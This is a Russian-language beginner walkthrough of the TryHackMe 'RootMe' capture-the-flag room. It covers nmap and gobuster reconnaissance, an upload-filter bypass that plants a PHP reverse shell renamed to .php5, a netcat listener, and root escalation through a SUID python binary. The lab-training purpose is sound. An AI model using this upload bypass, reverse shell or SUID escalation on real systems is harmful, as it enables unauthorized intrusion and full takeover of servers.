Capture the Flag, CTF, TryHackMe

CTF (Capture the Flag) – RootMe. TryHackMe.

Здравствуйте, дорогие друзья. Сегодня будем проходить комнату сервиса TryHackMe, которая называется RootMe.

Это задачка, для начинающих, и подойдет новичкам в начале пути.

В качестве атакующей машины, у меня будет Kali Linux, и я рекомендую использовать эту ОС. Как всегда, мы начинаем исследовать машину при помощи сканирования. Я буду использовать Nmap, где команда будет выглядеть как: «nmap -A -vv -sV -sC  10.10.63.134»:

nmap -A -vv -sV -sC  10.10.63.134

Параметры можете узнать сами, с помощью справки nmap —help.

После некоторого ожидания, мы видим 2 открытых порта:

После некоторого ожидания, мы видим 2 открытых порта

Сразу запускаем gobuster, чтобы узнать скрытые директории.

Если Вы работаете в Kali Linux сервиса TryHackMe, инструмент gobuster не будет предустановлен. Для начала нужно обновить пакеты в репозитории, с помощью команды: «apt update», и далее «apt install gobuster»:

apt update && apt install gobuster

Это команда: «gobuster dir -u http://10.10.63.134 -w /usr/share/dirb/wordlists/common.txt»:

gobuster dir -u http://10.10.63.134 -w /usr/share/dirb/wordlists/common.txt

После небольшого анализа директорий, в глаза бросается /panel:

/panel/

При осмотре сайта и его директорий, ничего интересного я не нашел, кроме страницы для загрузки файлов.

Да, и не забудем про задания, которые нам нужно решить.

Мы знаем, что открыты 2 порта:

открыты 2 порта

Также знаем версию Apache, исходя из сканирования nmap:

Также знаем версию Apache, исходя из сканирования nmap

Сервис, который есть на порту 22 мы также знаем, исходя из сканирования:

сервис ssh

Все директории, которые существуют на сервере, мы узнали с помощью GoBuster:

Все директории, которые существуют на сервере, мы узнали с помощью GoBuster

И последний вопрос 2 таска мы также нашли:

И последний вопрос 2 таска мы также нашли

Переходим к 3-му таску. Исходя из найденной директории, вектор атаки мы будем строить так, чтобы у нас был reverse shell. Для начала, попробуем загрузить какой-то простенький файл, например, в текстовом формате:

file txt download

Все отлично грузится. Сервер позволяет нам загружать текстовые файлы. Это прекрасно.

Теперь попытаемся загрузить файл с расширением .php. Чтобы ускорить процесс, я сразу взял рабочий шелл с гитхаба — https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php, который написан на языке программирования «php»:

reverse shell

В нем нужно отредактировать айпи адрес и порт, для работоспособности шелла:

ip adress and port

Итак, момент истины ))

момент истины

И неудача. Как предсказуемо. Предлагаю поменять расширение файла. Можно это автоматизировать, с помощью BurpSuite, например; но, после некоторого подбора вариантов, у меня получилось залить шелл с расширением «.php5»:

.php5

Или, можно изменить расширение, с помощью команды: «mv reverse-shell.php reverse-shell.php5»:

mv reverse-shell.php reverse-shell.php5

Далее, нам нужно запустить netcat, для приема входящего соединения:

nc -lnvp 4444

Заливаем шелл на сервер и запускаем его:

Заливаем шелл на сервер и запускаем его

Принимаем входящее подключение:

Принимаем входящее подключение

Для решения 3 таска нам нужно найти файл user.txt. Это делается в одну команду: «find / -type f –iname user.txt 2> /dev/null». Тут пригодится знание командной строки Linux.

Параметры команды

/: Поиск по всему серверу

-type f: Искать только файлы (без каталогов)

-iname <имя файла>: поиск файла с именем <имя файла> (без учета регистра)

Примечание:

2> / dev / null в конце используется для перенаправления любых ошибок, которые могут возникнуть во время брутфорса, на / dev / null (NULL — это специальное устройство в Linux, которое уничтожает любые данные, которые ему отправляются):

поиск файла user.txt

Выводим наш флаг, с помощью команды cat:

Выводим наш флаг, с помощью команды cat

Сдаем флаг:

Сдаем флаг

Переходим к 4 таску – повышение привилегий.

Наша задача – это повышение привилегий до рута. Давайте посмотрим, есть ли в системе какие-либо файлы с установленным битом SUID и владельцем которых является пользователь root. Файлы с установленным битом SUID при запуске запускаются с разрешениями владельца файла. Таким образом, если есть двоичный файл, принадлежащий root, и у него установлен бит SUID, мы теоретически могли бы использовать этот двоичный файл для повышения наших разрешений. Команда для вывода будет выглядеть как: «find / -type f –user root –perm -4000 –exec ls –l + 2> /dve/null»:

find / -type f –user root –perm -4000 –exec ls –l + 2> /dve/null

Параметры команды

/: Сканировать все устройство

 -type f: искать только файлы (без каталогов)

-user root: проверить, является ли владелец файла root

 -perm -4000: искать файлы с правами не менее 4000.

4000 — это числовое представление для файла, для которого установлен бит SUID.

exec: выполнить команду, используя результаты поиска

ls -l {} +: отображать результаты в развернутой форме ({} — это заполнитель для результатов, возвращаемых командой find. + в конце используется для завершения параметра -exec)

2> / dev / null в конце не требуется, но с его помощью мы отправляем любые ошибки, которые могут быть возвращены функцией find (каталоги, к которым невозможно получить доступ из-за отсутствия надлежащих разрешений), в NULL. NULL — это специальное устройство в Linux, которое удаляет все отправленные на него данные.

Глядя на вывод, мы видим, что двоичный файл python (Вы найдете его в выводе) — это не обычные разрешения для этого двоичного файла, поэтому мы могли бы использовать его для получения корневого доступа.

Ответ на первый вопрос будет показан в выводе. Это: /usr/bin/python:

/usr/bin/python

Ответ на второй вопрос Вы можете найти на сайте CTFOBins https://gtfobins.github.io/

CTFOBins

Давайте попробуем ввести этот код, и посмотрим, сможем ли мы повысить привилегии до рута. Команда: «/usr/bin/python –c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’»:

/usr/bin/python –c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’

У нас получилось.

Теперь, по аналогии с users.txt попробуем найти последний флаг:

users.txt

Сдаем флаг рута:

Сдаем флаг рута

На этом все. Всем хорошего дня.